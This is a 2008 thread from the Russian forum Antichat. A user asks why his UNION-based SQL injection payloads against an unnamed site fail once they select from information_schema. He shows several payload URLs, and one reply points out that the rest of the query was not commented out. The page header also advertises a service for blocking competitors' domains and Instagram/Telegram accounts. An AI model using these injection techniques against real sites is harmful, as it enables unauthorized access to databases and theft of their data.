sql-injection трабл

FORUMS

MEMBERS

RECENT POSTS

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
sql-injection трабл

Опции темы

Поиск в этой теме

Опции просмотра

sql-injection трабл

10.08.2008, 23:17

ty13r

Познающий

Регистрация: 18.07.2007

Сообщений: 40

С нами: 9903046

Репутация: 13

sql-injection трабл

Имеется инъекция типа

Код:

http://site/cat/'SQL

где видимо применен mod_rewrite
запрос типа

Код:

http://site/cat/' union select 1,2,3,4

прекрасно выполняется, даже есть поля выводимые на экране, но если попробовать выбрать данные из другой таблицы, например

Код:

http://site/cat/' union select 1,2,3,4 from information_schema.tables

, то возникает ошибка
Причем ошибка появляется и в тестовом случае

Код:

http://site/cat/' union select 1,2,3,4 from (selest 1) as test

хотя версия Mysql - 5.0.51
В чем проблемы?

𝕏 Twitter Reddit Telegram Копировать ссылку

10.08.2008, 23:26

Jokester

Познавший АНТИЧАТ

Регистрация: 18.02.2008

Сообщений: 1,136

С нами: 9593606

Репутация: 4915

Вариантов куча, ни ссылки, ни ошибки, хочешь что-бы все угадывали?

10.08.2008, 23:34

Qwazar

Leaders of Antichat - Level 4

Регистрация: 02.06.2005

Сообщений: 1,411

С нами: 11020706

Репутация: 4693

Цитата:

Сообщение от ty13r

В чем проблемы?

Ты оставшуюся часть запроса не закомментил, от того и проблемы.

__________________
Я отдал бы немало за пару крыльев,
Я отдал бы немало за третий глаз
За руку на которой четырнадцать пальцев
Мне нужен для дыхания другой газ..

Мой блог:http://qwazar.ru/.